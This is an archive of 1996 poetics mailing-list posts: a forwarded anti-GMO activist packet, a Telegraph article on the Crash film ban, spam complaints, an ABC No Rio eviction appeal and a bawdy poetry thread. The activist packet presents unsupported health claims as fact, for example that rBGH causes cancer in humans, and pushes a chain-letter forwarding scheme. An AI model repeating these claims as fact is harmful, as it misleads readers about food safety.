>not, for the most part, come to pass, and new developments in
>biotechnology are as uncertain and controversial as ever. The
>emergence of militant farmers' movements in India and across south
>Asia reflects an emerging worldwide awareness of the hazards of
>corporate agriculture, and is an important counterpart to our own
>activism here in the U.S. There is much reason for hope that
>organized citizens and an increasingly educated public will
>continue to hold back many of the worst consequences of this
>fundamentally life-denying technology.
>
>
>Sidebar: Don't Trust Monsanto Tomatoes!
>

>
> In the 1920s, they brought us saccharine, and became the
>first U.S. manufacturer of the controversial artificial sweetener.
>In the sixties, it was cancer-causing PCB's in electrical equipment.
>They are the world's largest seller of herbicides, and a leading
>manufacturer of insecticides and disinfectants. In the 1980s, they
>lied about the exposure of their own production and maintenance
>workers in West Virginia to dioxin and other dangerous chemicals.
>Now they want to sell you fresh tomatoes!
> Last year, the Monsanto chemical company became the chief
>owner of Gargiulo L.P., the nation's largest tomato grower, based
>in Naples, Florida. Gargiulo's operations have been combined with
>those of Calgene, creator of the genetically altered (and grossly
>misnamed) "Flavr-Savr" tomato, as part of Monsanto's effort to
>save Calgene from bankruptcy. Now, the combined companies are
>trying to make their brand of tomatoes a household name. The
>tomatoes, which will be sold under the "Gargiulo Farms" and
>Calgene's "McGregor" brand names, are being test marketed in
>Indiana and New York State.
> "We're sitting on the equivalent of (McDonald's founder)
>Ray Kroc in the 1950s," Gargiulo vice president Robert Shulman
>told The Packer late last year. Starting with non-engineered
>varieties, the company hopes to create an unprecedented consumer
>loyalty for brand-named tomatoes and packaged salads. Their goal
>is to "make the Gargiulo brand so big that a BLT becomes a BLG --
>bacon, lettuce and Gargiulo," reported The Packer.
> With Monsanto seeking an eventual 82% ownership of
>Gargiulo, it is doubtful that buyers will know that they are
>being set up as guinea pigs for the eventual mass-marketing
>of genetically engineered produce. Calgene proved unable to
>accomplish this despite an all-out effort over several years.
>Will Monsanto's "stealth" marketing strategy succeed? Not if
>consumers across the country flatly reject Monsanto's Gargiulo
>brand tomatoes even before they are ready to reintroduce
>genetically engineered products under this label.
>
>----------
>Texas InfiNet - an online community for progressive information
> BBS [redacted]
> Telnet shakti.txinfinet.com:3000
> WWW http://www.greenbuilder.com
>

>
>DETAILS OF "THREE-TELL-THREE" E-MAIL CONSUMER-ACTION MARKETING
>SYSTEM TO STOP GENETIC ENGINEERING---
>HOW TO RECEIVE MORE INFORMATION:
>
>
>The Three-Tell-Three e-mail system uses the principle
>of exponential growth: Three Tell Three etc. through 15 levels
>
>(3x3x3x3x3x3x3x3x3x3x3x3x3x3x3)
>
>This equals hundreds of millions of people. This is the
>kind of uproar needed to to put pressure on the government and
>bio-tech food industries to stop this hazardous genetic alteration
>of the food supply.
>
>1. Artificial, DNA-altered, synthetic, genetically engineered
>foods are now being sold at your local supermarket. The
>multi-national bio-tech food companies have lobbied the U.S.
>government so that they can sell this artificial, mutated food
>unlabeled and untested throughout the world.
>
>2. Many scientists feel that these foods may be extrememly
>carcinogenic and dangerous for both individual health and for the
>environment. Therefore for the forseeable future and starting
>immediately, you should only buy certified organic foods. Especially
>watch out, and buy only organic potatoes, tomatoes, corn,
>crook neck squash, and soybeans, and avoid all products made from
>these vegetables such as corn oil, corn syrup, soy oil, tofu, etc.
>
>
>3. Make a list of everyone you know and get this information into
>their hands. Give the highest priority to those that you love and
>care about, and give second priority to those who have the
>potential to have the greatest impact throughout society. (Emphasize
>journalists, reporters, media people, conventional or organic food
>producers and wholesalers, environmentally conscious scientists, etc.
>if possible) In this way find your three committed people who will
>help put an abrupt end to this outrage.
>
>E-mail to [redacted] if you require more assistance.

>
>
>For more information and a "Safety-First" information pack by
>U.S. mail, call
>
>[redacted] leave name, address, and phone
>[redacted] office number
>
>in the United States,
>
>or write to:
>
>Mothers For Natural Law
>P.O. Box 1177
>Fairfield, Iowa 52556
> U.S.A.
>
>Another relevant website:
>www.bio-integrity.org
>
>_____
>
>HOW TO SHOP - TO AVOID GENETICALLY ENGINEERED FOODS
>
>(to be updated as we learn more)
>
> BUY ORGANIC: At the moment we believe organic is safe.
>The USDA will publish its decision on this in a month or more:
>website - http://www.aphis.usda.gov/bbep/bp
>
> READ LABELS ! Processed foods labeled "organic" are
>allowed to have 5% non-organic ingredients. If the soy, corn,
>or canola oil ingredients are not organic, they will be mixed
>with their genetically engineered counterparts by
>December, 1996 / January, 1997.
>
> SOY: Some examples of soy in processed food: soy flour in
>baked goods, pizza, cookies, cakes, pasta; fillers in meat products,
>e.g., Big Macs; veggie meat substitutes, e.g., tofu, tofu burgers,
>tofu dogs; soy milk infant formula, baby food, diet and protein
>shakes, protein bars, chocolate, candy bars, margarine, ice cream,
>dog food, cat food, soy oil in salad dressings & chips,

>soy sauce, lecithin, ...in up to 30,000 products !
>
> CORN: corn sweeteners are in soda, (even health food brands),
>all sweet products; corn syrup; corn starch is even in yogurt and
>aspirin; corn meal products, like cereal and chips; corn oil is
>everywhere.
>
> CANOLA: oil seeds (genetically engineered) from Canada have
>been in the U.S. for awhile and may already be in products with
>non-organic canola oil. Please avoid these.
>
> BUY NON-RBGH MILK & DAIRY PRODUCTS: rBGH is a genetically
>engineered hormone that, when added to cows' natural growth hormones,
>causes painful mastistis often requiring more antibiotics, shortens
>their life span, and causes cancer in humans. There is a boycott
>of Land of Lakes Butter and Cabot Creamery butter (since it was
>bought out).
>
> AVOID YELLOW CROOKNECK SQUASHES: Unlabeled, from Asgrow
>Seed Co. (a division of Upjohn Co.). The first virus-resistant crop
>to gain USDA approval. The first genetically engineered whole food
>to enter the market unlabeled. The squash, called "Freedom 2," has
>many native plant relatives in the US. If they interbreed, the
>hybrid could destroy its natural relatives, or create a new breed
>of virus-resistant weeds powerful enough to destroy food crops. See
>Science, Oct.11, 96.
>
> EAT RENNETLESS CHEESE: Most cheeses are made with a
>genetically engineered rennet called chymosin. "Real rennet"
>may not be available anymore. We need more info on this.
>
> AVOID "DOUGH CONDITIONER" available in cheaper baked goods.
>This is a euphemism "code" word for a complex mixture of genetically
>engineered enzymes and other components that should not be taken
>into the body. Try to avoid cheap breads when eating out.
>
> AVOID TOMATO PRODUCTS FROM SMALL COMPANIES: Though the
>Flavr Savr Tomato by Monsanto has "failed," (may still be in Europe)
>they could be sold for making tomato products. The big companies,
>like Del Monte, Heinz, and Ragu, grow their own tomatoes. Be very
>careful with ketchup (catsup) in Europe.
>

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>  ...................................................
> Alan Watson C.Eng                          _\\|//_
> Oakleigh                                 (' O^O ')
> Wernffrwd                              ==|=ooO=(_)=Ooo=|==
> Gower                                 !    PAST     !
> Swansea   SA4 3TY                        !    TIME     !
> UK                                   !     FOR     !
> Tel: 01792 851599                        !    CLEAN    !
> Fax: 01792 850056                        !  PRODUCTION !
>                                    ^^^^^^^^^^^^^^^^^
>...................................................
>
>
```

↑ Index

335. **Kenneth Goldsmith**

Lingo 6 Arrives

Thu 21 Nov 1996

```
*****************************************
        Hard Press / Lingo Magazine
          http://www.hardpress.com
*****************************************
```

Hard Press announces the Newest Issue of Lingo, web and paper version:

Lingo 6
Autumn 1996

Fringe Narrative

Frank Lima Scattered Vignettes
Bill Beckley The Road to Ra
Dodie Bellamy Dear David

Photo Essay

Margaret Morton "José Camacho's House

Essay

Nouk Bassomb The Nights of the Shanties
Phillip Lopate A Date with Fassbinder & Despair
Peter Occhiogrosso Art of the Narrative
Charles North On & for Jim Brodey
Leslie Scalapino Cobalt Warblers

More Fringe

Lynn Crawford Spans
Cydney Chadwick Full Circle
Robert Gluck The Purple Men
John Yau What She Told Him While They Pretended to Watch TV
Lewis Warsh Pick Up on Tenth Street

Collaboration

Ed Barrett Secent Image
Ben Watkins (Photographs)

Poetry

Laura Mullen White Paintings I-IV
Lynne Zika Two Poems
Joseph Lease New Year at the Unique Motel
Graham Foust Two Poems
David Lehman Three Poems
Tom King Afterwards
John Olson Two Poems
Jean Donnelly Drift
Peter Cole Three Poems
Hugh Fox Two Poems
Drew Gardner Two Poems
John Latta In the Margins of a Book by Heidegger

David Joel Shapiro A Found Golf Ball
Tan Lin The Imitation of the Imitations of History
D.E. Steward Mars

Cover Art by Sam Messer
Front Cover, New Morning 14" X 24", oil on canvas, 1996

Editor/Publisher Jonathan Gams
Co-Editor Peter Occhiogrosso
Arts Editor John Yau
Contributing Editors
Michael Gizzi*
Susan Levin
Raphael Rubinstein
David Shapiro
Assistant Editor Chad Odefey
Art Director Barbieo Barros-Gizzi
Business Manager Anne Bei
Underwriting Ned Depew
Webmaster UbuWeb Design

*Michael Gizzi is now editor of Hard Press's
Profile Series of Literature
Special thanks to Michael Munshaw and Jeffrey Spear at
John C. Otto, Inc., also Tom Powers.

Available at 256 Locations across America.

Check out our brand new web interface!!!
****
Hard Press / Lingo Magazine
http://www.hardpress.com
****

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336. **Pierre Joris**
Crash!
Thu 21 Nov 1996

This is a multi-part message in MIME format.

Recently saw info (on another list, can't remember which one, off hand) re how Ted Turner had done his best to prevent Cronenberg's movie of JG Ballard's novel CRASH to be shown in these States -- here just in from a London friend how the movie of a book I liked a lot (way back when it came out -- tho I always preferred THE ATROCITY

EXHIBITION --) is doing, or rather not doing, in London -- hope this
longish web-post attachment isn't blowing anyone's memory fuses, &/or is
readable on non-web-based mailers -- Pierre
--
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

I do not believe that there ever was a question of being
abstract or representational. It is really a matter of
ending this silence and solitude, of breathing and
stretching one's arms again.

Mark Rothko

id AA28021; Fri, 22 Nov 1996 01:30:33 GMT
Date: Fri, 22 Nov 1996 01:30:46 +0000
From: Jay Pamnany <[redacted]>
To: [redacted]
Subject: x

This is a multi-part message in MIME format.

http://www.telegraph.co.uk/et/access?ac3661721781&pg=//96/11/21/
ncras21.html

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c3661721781&pg=//96/11/21/ncras2
1.html"

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HREF="http://www.telegraph.co.uk/et/access?ac3661721781&pg=//96/11/21/
ncras21.html">

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<!-- SECTION=Home News -->
<!-- Created by Overlord on 20/11/96 at 20:24-->
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</Head>
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</td>
<td align=right>
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Telegraph</a>
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<td align=right>
<font size=-1>Issue <b>547</b></font><p>
</td>
</tr>

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page" border=0 widthU8 height9 ISMAP></a>
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<font size=+2><b>Councillors ban Crash from the West End screen</b></
font size><br>
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<!-- by -->By Hugh Muir
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External Links
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<dl>
<dt><img align=left src="/graphics/title2/waes.gif" border=0 width height><dd>Crash - Alliance Communications<p>
<br clear=all>

<dt><img align=left src="/graphics/title2/waes.gif" border=0 width height><dd>David Cronenberg home page<p> <br clear=all>

</dl>
<hr>
<p>

</td></tr> </table> </td> <td valign=top> <!-- story start --><p> <img src="/graphics/96/11/21/ncras21.gif" hspace=5 align=left> <summary>CRASH, the film that features characters deriving sexual pleasure from car collisions, was banned from cinemas in the West End yesterday because councillors believe that it is in poor taste.</summary><p> The interim decision was made by the licensing sub-committee of Westminster council after members were

given a private screening at a central London theatre. They have promised to review the ban later this year when the film, directed by David Cronenberg, is considered by the British Board of Film Classification (BBFC). The board decides what rating the film, may have but it also has the power to ban it from British cinemas. <p> Westminster councillors made their decision despite a sustained campaign in support of the film by writers - such as Salman Rushdie. Fifty filmakers, including Mike Leigh and Duncan Kenworthy, the producer of Four Weddings and A Funeral, also expressed support for the production, which is based on a book by J G Ballard.<p> The council's decision dismayed the makers of Crash who said they will fight to have "this work of art" shown uncut in Britain. Chris Auty, the co-executive director, said he was optimistic that the final decision will rest with the BBFC. "All we really want is that our work of art, which is how we think of this film from the bottom of our hearts, gets the opportunity to be seen in an uncut form by the British public," he said.<p> However, after watching the film, Cllr John Bull, the sub-committee chairman, said the BBFC should scrutinise three sections of the film: a sex scene with a woman in calipers, the final sex scene and the film hero's statement that car crashes were "fertilising" rather than destructive. "The committee has serious concerns about the film," he said. "It is clearly better for the film to be awarded a certificate and we hope, therefore, the BBFC will properly address the councillors' concerns. However, the sub-committee would be reluctant for the film to be shown in Westminster in this form. Consequently, to preserve the council's position, we have decided as a purely interim measure to prohibit the film showing in Westminster."<p> Cllr Bull said that Westminster is not obliged to take the same view as the BBFC. "The council has the right, if they are still not satisfied, of looking at the film again and preventing it being shown in Westminster - if it isn't cut." Asked if he enjoyed the film, he said: "It's a good film. It's exceedingly well made, you can't take that away. If you are asking me personally whether I enjoyed the film, I can be quite honest, I could live without it. I don't like all these sex scenes and car crashes. It's not me, but then you have to remember I am a senior citizen."<p> Cllr Anne Barns said she was also concerned about the film's content. "I am extremely worried about the impact it might have on 18- or 19-year-olds who think themselves very clever and tend to like fast cars, and probably put two and two together and possibly try things out," she said.<p> But Cllr David Avery disagreed. "I certainly don't think this is a film which will encourage crime or disorder or racial hatred against any section of society," he said. "I would have thought it was allowable viewing for adults if they don't mind degradation and violence towards women and dogs."<p> BBFC members have yet to see Crash, which stars James Spader, Holly Hunter and Rosanna Arquette. The film was given a British premiere under special licence at the London Film Festival and won the special jury prize at this year's Cannes Film Festival.<p> While those most closely connected to the

film project insist it should be shown uncut, J G Ballard, who also wrote Empire of The Sun, took news of the temporary ban calmly yesterday. "Modest cuts are acceptable to me as long as they don't reduce the film to shreds," he said. "If Chris Auty feels strongly that he wants to fight for the whole film to be shown, good luck to him. But I would like people to see the film and no film depends on two or three minutes." <p> 10 November 1996: RAC rapped over green light for Crash
9 November 1996: Bottomley urges councils to ban Crash<p>

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<!--- next story button -->
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Next Story: Baywatch actress admits that her marriage is on the rocks</td></tr></table>
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<!-- next story end -->

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ac3661721781&pg=//ixmplace.html">Marketplace | Classified | Help |

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Email Electronic Telegraph.

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</html>

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↑ Index

337. **Charles Bernstein**
Re: l%a*n([redacted]!a_g#e
Thu 21 Nov 1996

The L=A=N=G=U=A=G=E Book has been out of print for many years, but Southern Illinois has recently decided to resissue it. I think the new printing (with a new color for the cover) will be out this Spring.

****

I have received several of the harrassing messages from chronotope.com but don't know where they are coming from or why. I hit reply and sent the whole messages back to the source asking that the sender stop sending out such posts. This is clearly an abuse of our subscriber list, but I don't know how else it can be responded to it at this point.

At 09:21 PM 11/20/96 -0500, you wrote:
>would any of my american friends be able to help me locate a copy of the
>LANGUAGE(='s) anthology. please backchannel.
>thank you,
>kevin hehir
>[redacted]
>
>

↑ Index

338. **Louis Cabri**
antiquity
Fri 22 Nov 1996

---

wat lite antiquity filosofers, maria?

curiously perched,
louis

↑ Index

339. **Aldon L. Nielsen**
Re: mind / body etc.
Fri 22 Nov 1996

Mind / Body = 42

Ricardo Ortiz, by the way, is at Dartmouth by way of San Jose State (it appears one must go East to get back West!)

Give that paper time, it will be worth it in the end -- he does really good work --

I hope you guys in San Francisco are saving a couple of good events for the Spring when I'm back that way and can attend --

love to all

↑ Index

340. **dbkk**
Re: annoying mail from chronotope.com
Fri 22 Nov 1996

At 2:35 PM 11/21/96, Thomas M. Orange wrote:
>Sorry to trouble the list with this, but does anyone know where these
>things are coming from, why they are being sent to the people on this
>list, and how it can be stopped?

This is Dodie Bellamy. I wrote to the poetics list earlier about how to stop these messages, but my message hasn't appeared. The originator is not from chronotope.com but from pair.com:

> *X-Sender:* [redacted]
> *Mime-Version: 1.0*
> *Date: Thu, 21 Nov 1996 00:51:49 -0800*
> *To:* [redacted]
> *From:* [redacted] *(Wondering_how_to_work_this)*
> *Subject: bleeding the edge*

Looking at the content of these messages I believe they are from filch--he's mentioned in them for sure. Per the suggestions I gave to this list earlier, I wrote to [redacted] and received the following reply:

> *From: Kevin Martin <*[redacted]*>*
> *Subject: Re: bleeding the edge*
> *To:* [redacted]
> *Date: Thu, 21 Nov 1996 16:23:48 -0500 (EST)*
> *MIME-Version: 1.0*
> *Status: U*
>
> *I received the following unsolicited bulk email ("spam"), which apparently originated from your site. Please take appropriate action to ensure this doesn't happen again.*
>
> *The account in question has been suspended pending investigation. Our policy on this type of abuse is at http://support.pair.com/policy/abuse.html*
>
> *Thanks,*

> *Kevin Martin*
> [redacted]

↑ Index

341. dbkk
spam
Fri 22 Nov 1996

This is Dodie Bellamy.

To those of you fellow listservers who are being spammed by filch and want to do something about it, this is what I've read you should do:

You send the message with full headers to <postmaster> at the origininating account, in this case:

[redacted]

Frankly, I don't know if this will work with pair.com since they are different than a regular service provider. (If you ever get one of these spams from aol, the address is <[redacted]>.)

You should begin with something like the following:

I received the following unsolicited bulk email ("spam"), which apparently originated from your site. Please take appropriate action to ensure this doesn't happen again.

↑ Index

342. Tenney Nathanson
tanks
Fri 22 Nov 1996

thanks to Jordon and Maria for the wonderful gossipy moving posts. I tingle-tangle & etc.

Maria: Bruce X? (Sonia Sanchez: "my man, you way behind the set")--but Maria can you say more?

Tenney

↑ Index

343. Pierre Joris
[Fwd: ABC No Rio in danger]
Fri 22 Nov 1996

This is a multi-part message in MIME format.

--
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

I do not believe that there ever was a question of being
abstract or representational. It is really a matter of
ending this silence and solitude, of breathing and
stretching one's arms again.

Mark Rothko

Date: Thu, 21 Nov 1996 22:42:31 -0500 (EST)
From: Alex Trotter <[redacted]>
To: [redacted]
cc: [redacted]
Subject: ABC No Rio in danger

NEW YORK CITY SEEKS EVICTION OF LOWER EAST SIDE ARTS SPACE

ABC No Rio is a community-based arts center, performance space and gallery located at 156 Rivington Street in Manhattan. It has been a fixture on the Lower East Side for more than sixteen years, is internationally known as a venue for emerging artists, and is committed to presenting alternative and non-commercial art and performance, poetry readings, music and film & video screenings. The space is available to the community for meetings and workshops, and is home to the NYC chapter of FOOD NOT BOMBS, an organization that serves food to those in need. For the past two summers ABC No Rio has hosted art classes for neighborhood children. Now this sixteen-year-old community institution is once again threatened with eviction by New York City's Department of Housing Preservation & Development (HPD).

Three times since June, 1995 ABC No Rio has, in court, thwarted attempts by HPD to evict ABC No Rio and the tenants occupying the residential units of the building. A fourth proceeding was initiated by HPD this past June. At a hearing on August 23 ABC No Rio's Motion for Dismissal was denied. An eviction hearing was scheduled for September 30, but on September 17 HPD attorneys submitted a Motion for Summary Judgement, an attempt to deny No Rio a hearing on the matter of the eviction. In response ABC No Rio legal counsel cross-moved to stay the eviction proceeding. Following a hearing on October 17 Judge Leona Freedman "took it under submission." ABC No Rio now awaits Judge Freedman's decision.

Back in April, '96 ABC No Rio brought forth an Article 78 Petition in State Supreme Court seeking to nullify the City Council resolution used by HPD to

justify the eviction. On December 7, 1995 the New York City Council declared that 156 Rivington Street, No Rio's premises, was a "blight" on the community, "constituted a serious and growing menace," and "impeded or arrested the sound growth and development of the municipality;" they then approved the Urban Development Action Area Project (UDAAP) promoted by HPD and sponsored by property developers Asian Americans for Equality (AAFE).

ABC No Rio's Article 78 challenges this City Council resolution on statutory and First Amendment grounds. The petition argues, and the facts support, that the City has consistently acted in bad faith in its dealings with ABC No Rio and that the intent of the UDAAP approved for the site is retaliatory in response to ABC No Rio's exercise of constitutionally protected speech.

Ever since its inception in 1980 ABC No Rio has been critical of New York City housing policies and, in general, has supported culture of dissent. In recent years it has held events to raise funds for Lower East Side pirate radio, and for the East Thirteenth Street squatters and provided its space to them for their legal and strategic planning meetings. In its own discontented relationship with the City and HPD ABC No Rio has over the years staged protests and demonstrations at HPD headquarters; aired its grievances to the press and to public and elected officials; and sought redress and relief in the courts.

On August 8 No Rio's Article 78 was assigned to Justice Charles E. Ramos. If the petition is not summarily dismissed it may be possible to stay the eviction. On October 22 No Rio legal counsel appeared before Justice Ramos for oral arguments, and now awaits his decision as to whether or not a hearing will be scheduled.

On New Year's Day in 1980 a group of more than thirty artists occupied an abandoned building on Delancey Street on the Lower East Side and mounted the REAL ESTATE SHOW, an art exhibit commenting on the skyrocketing rents for both housing and art space, and the causes of that problem. The show was quickly shut down by the police and the artwork confiscated, generating both protest and publicity. Eager to avoid continued bad press, the City, through the Department of Housing Preservation and Development (HPD), entered into negotiations with the artists and offered them the storefront and basement at 156 Rivington Street, the space that would become ABC No Rio.

Over the coming years ABC No Rio was host to an incredible spectrum of artistic expression dealing with war, poverty, homelessness, drugs, sex, violence, and the politics of housing and real estate. ABC No Rio was founded by artists committed to political and social engagement and the space has retained those values to the present.

In the mid-eighties ABC No Rio was part of the nexus of venues for the burgeoning East Village performance scene, and in the late-eighties was

instrumental in the resurgence of spoken word and performance poetry in New York. At the turn of the decade ABC No Rio became active in the hardcore music scene and instituted a policy of not booking racist, sexist or homophobic bands. ABC No Rio is one of the best-loved punk venues in the world.

ABC No Rio enjoys neighborhood, city-wide, national and international support. In 1990 Kunstlerhaus in Hamburg, Germany mounted the show 10 YEARS, 7 DAYS, a celebration of ABC No Rio's first decade. More recently, the founding of ABC No Rio played an important part in the CULTURAL ECONOMIES show which was at the Drawing Center in New York in the Spring of 1996. ABC No Rio has been the subject of many articles in the press and dissertations by critics and academics. In the summer of 1995 ABC No Rio gathered more than 2,500 signatures on petitions and hundreds of letters of support were sent on No Rio's behalf to the municipal authorities.

This past September ABC No Rio organized ENDANGERED SPACES: ABC NO RIO EVICTION ACTION WEEK-END, an event that included an installation of visual art, music, performance, and a demonstration/public speak-out at the steps of the Metropolitan Museum of Art. On that week-end,in solidarity with ABC No Rio, artists and squatters in Prague demonstrated at the U.S. Consulate there.

The residential units above ABC No Rio have been occupied off and on for years as No Rio has become more and more connected to the local squat movement. At present 156 Rivington Street is a fully occupied building. Many squatters are involved with ABC No Rio and No Rio has organized many events benefitting the squats. The threat to ABC No Rio and the threat to the squats are one and the same. ABC No Rio has always had a difficult and turbulent relationship with the City and HPD. ABC No Rio and its supporters believe that this attempt to evict is politically motivated and retaliatory, an attempt to punish an arts collective for long- term opposition to City policies.

The impending eviction of ABC No Rio takes place in the context of escalating hostilities in the neighborhood. Over the years the example of No Rio's seizure of land (the 1980 REAL ESTATE SHOW) has inspired a whole generation of squatters. Today many of those squatters are facing eviction. In August HPD evicted the remaining squatters on East Thirteenth Street. The City and State are moving towards privatizing public housing and eliminating rent stabilization. Other cultural and community centers are facing eviction. Recently the police arrested more than thirty people in Tompkins Square Park for violating an unconstitutional regulation prohibiting the assembly of more than twenty people. The Lower East Side is once again under siege for the sake of a Disney-fied bohemia.

Artists, activists, squatters and other ABC No Rio supporters contend that places such as ABC No Rio are part of the "quality of life" in New York City. Will the administration of NYC Mayor Rudolph Giuliani allow ABC No Rio to thrive and survive? Or will the bureaucrats and politicians commit another "quality of life" crime?

For more information about ABC No Rio and this situation call [redacted] or write ABC No Rio at 156 Rivington Street, NYC, 10002.

You can also help by participating in our phone, fax, and mail BLITZ to the following:

Chris Kui, Executive Director
Asian Americans for Equality
111 Division Street
NYC 10002
PHONE: [redacted]
FAX: [redacted]
TELL HIM TO BACK OFF 156 RIVINGTON STREET. USING EVICTIONS TO GAIN PROPERTY IS WRONG!!!

Lilliam Barrios-Paoli, Commissioner
Department of Housing Preservation & Development
100 Gold Street
NYC 10038
PHONE: [redacted]
FAX: [redacted]
TELL HER TO BACK OFF ABC NO RIO. EVICTING ABC NO RIO IS WRONG!!!

Mayor Rudolph Giuliani
City Hall
NYC 10007
TELL HIM EVICTING ABC NO RIO IS WRONG!!! HPD SHOULD LEAVE ABC NO
RIO FREE TO BE!!!

Justice Charles E. Ramos
State Supreme Court
60 Center Street
NYC 10007
HPD IS RETALIATING AGAINST ABC NO RIO'S EXERCISE OF CONSTITUTIONALLY PROTECTED SPEECH. ABC NO RIO DESERVES A HEARING!!!

Thank you for your attention and support----Steven Englander

----------73DB71EB551--

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344. Pierre Joris

Western poets

Fri 22 Nov 1996

---

odd but my yesterday-post re western poetas never seems to have it -- three such critters come to mind immediately : Lorine Niedecker, Ed Dorn, Ken Irby. This last one is to my mind one of the most underarted, under-read, neglected poets in the country. Bobby Byrd wrote some interesting work around those western spaces early on (Here; North Atlantic Books 1975) though i don't know the more recent work.

Don Byrd, though an East Coast resident for some 25 years by now, can't get dem thar hills & plains out of his system, so they & the sense of place & space they give keep popping up throughout his work. Here's the opening of the poem _Aesop's Garden_ from the book by that title (see also his _The Great Dimestore Centennial_):

"out
under the blue stars
Arcadia sleeps
in the white farm house
wheat grows on the doorsteps
in the wild places
Francis Parkman saw
and fevered
through a film of hallucination
reported

satyrs dancing
on the congealed
inland
oceans"

....

"America is a bowl
closed east and west
by mountains
and this
is the sky
outside it
half sea
half history you are unable
to forget"

--
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

I do not believe that there ever was a question of being abstract or representational. It is really a matter of ending this silence and solitude, of breathing and stretching one's arms again.

Mark Rothko

↑ Index

345. Michael Boughn
dildo update
Fri 22 Nov 1996

For all those who claimed that the dildo thread was irrelevant to our business here, here's a surprising connection from some recent reading:

Originally the leather dildo was worn by comic actors in the satyr plays, through which it's connected to Dionysus and subversive, sexual hilarity. It's also connected to the grotesque crone Baubo^ who exposed her bare bum and genitals to Demeter, making the goddess laugh and thus forget her grieving for Persephone. The name Baubo^ was used for the dildo. One of Baubo^'s other names was Iambe, the origin of "iambus", the limping meter.

So there you have it--poetics and dildoes have long gone together.

Mike
[redacted]

↑ Index

346. Henry Gould
Re: dildo update
Fri 22 Nov 1996

Reminds me of Pound's letter XXXII.5 to Eliot (p. 15) (1934):

"Wan't that a grrrrand thing, Possum, whun we bruk the five-foot dildo?"
[ed. note: EP slang for "pentameter"]
- HH Gould

↑ Index

347. **Rachel Loden**
Re: dildo update
Fri 22 Nov 1996

Michael Boughn wrote:
>
> For all those who claimed that the dildo thread was irrelevant to our
> business here, here's a surprising connection from some recent reading:
>
> Originally the leather dildo was worn by comic actors in the satyr
> plays, through which it's connected to Dionysus and subversive, sexual
> hilarity. It's also connected to the grotesque crone Baubo^ who
> exposed her bare bum and genitals to Demeter, making the goddess laugh
> and thus forget her grieving for Persephone. The name Baubo^ was used
> for the dildo. One of Baubo^'s other names was Iambe, the origin
> of "iambus", the limping meter.
>
> So there you have it--poetics and dildoes have long gone together.

Mike is right. And to help underline the suppressed connection between poetics and dildoes, here's a poem that seems to have fallen--well, between the cracks:

Ars Poetica

A dildo should be palpable and mute
As a globed fruit

Dumb
As old medallions to the thumb

Silent as the sleeve-worn stone
Of casement ledges where the moss has grown--

A dildo should be wordless
As the flight of birds

*

A dildo should be motionless in time
As the moon climbs

Leaving, as the moon releases
Twig by twig the night-entangled trees,

Leaving, as the moon behind the winter leaves,
Memory by memory the mind--

A dildo should be motionless in time
As the moon climbs

*

A dildo should be equal to:
Not true

For all the history of grief
An empty doorway and a maple leaf

For love
The leaning grasses and two lights above the sea--

A dildo should not mean
But be

Archiball MacLeash

Rachel Loden

↑ Index

348. **Henry Gould**
Re: dildo update
Fri 22 Nov 1996

Thanks, Rachel, for moving MacFlush poem. I, for one, would love to get away from the endless abstract pro-dildo anti-dildo debates, the rambling personal memoirs & gossip on this list. We need more close dildo readings! When are we going to have some discussion of neglected poet Harvey Spamlife, author of "The Dildo Passages"? Or Louise Glug-glug of UPA (United Pacified Colonies), whose remarkable oeuvre ("egg" in French, I've heard) remains in dusty archives of the State University of Lower West Shambletown? Why? It's a disgrace. When will the "literary establishment" wake up to the real advances of these writers of the soi-disant "Dildo School"? I ask you? And again - I ask you?
HH Gould

↑ Index

349. **maria damon**
Re: antiquity
Fri 22 Nov 1996

In message <[redacted]> UB Poetics discussion
group writes:
> wat lite antiquity filosofers, maria?
>

> curiously perched,
> louis

that's lite as in late, not light, mind u: epictetus and rabbi joseph...xxx are the names i remember, and one touching moment when bruce boone said he was coming out as a dualist...now there's a bold move in 1996. there were other names but i don't remember them. i only read those guys in anthologies w/ names like"western asceticism" and "christology of the later fathers." i loved that stuff in my more abject smarter days. maybe this is a sign to get back to it. mmd

↑ Index

350. **maria damon**
Re: mind / body etc.
Fri 22 Nov 1996

In message <[redacted]> UB Poetics
discussion group writes:
> Mind / Body = 42
>
>
> ---
> Ricardo Ortiz, by the way, is at Dartmouth by way of San Jose State (it
> appears one must go East to get back West!)
>
> Give that paper time, it will be worth it in the end -- he does really
> good work --

oh definitely; it was fun and juicy, just...impressionistic. certainly sexier than mine.--md
>
> I hope you guys in San Francisco are saving a couple of good events for
> the Spring when I'm back that way and can attend --
>
> love to all

↑ Index

351. **maria damon**
Re: tanks
Fri 22 Nov 1996

In message <[redacted]> UB Poetics
discussion group writes:
> thanks to Jordon and Maria for the wonderful gossipy moving posts. I

> tingle-tangle & etc.
>
> Maria: Bruce X? (Sonia Sanchez: "my man, you way behind the set")--but
> Maria can you say more?

bruce boone had adopted the x to see if it wd make him famous. he's published on gay stuff (i saw one article many years ago on frank ohara and gay language) and probably other stuff i don't know. translator, told me abt a french author pascale ? he's translated for lapidus press. others here probably know more than i. i was on an mla panel w/ him and m davidson lo thse many years ago on robert duncan and gay community (in 1987); i was the only chick, and a grad student too. his paper seemed to be quite a bit of hermetic insider-knowledge stuff about internicene poetry-politics that i didn't understand. he's an old-style intellectual with a wide range of interests and sources, not a young groovoid or trendoid. md
>
> Tenney

↑ Index

352. **maria damon**
Re: dildo update
Fri 22 Nov 1996

---

thanks mike, hank and rachel for starting my day off on the good broken-five foot, a smile on my lips and a dildo in my heart. i think st john of the cross is a good one for investigating the further adventures of poetic penetration. --md

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353. **Pritchett,Pat**
Re: the poets and land and landing poets
Fri 22 Nov 1996

Ed Dorn - Gunslinger et al.
Reg Saner - conventional but unsentimental
John Haines -ditto
Ronald Johnson - portions of ARK

From: k.a. hehir
To: POETICS
Subject: the poets and land and landing poets
Date: Thursday, November 21, 1996 2:05PM

i just received my copy of GRAIN today. i realize that this an american based talkgroup but i must ask: the new poems i read today have a real feel of

landscape, climate and enviroment that become a very comfortable parentheses within which the voice frolics and grooves.

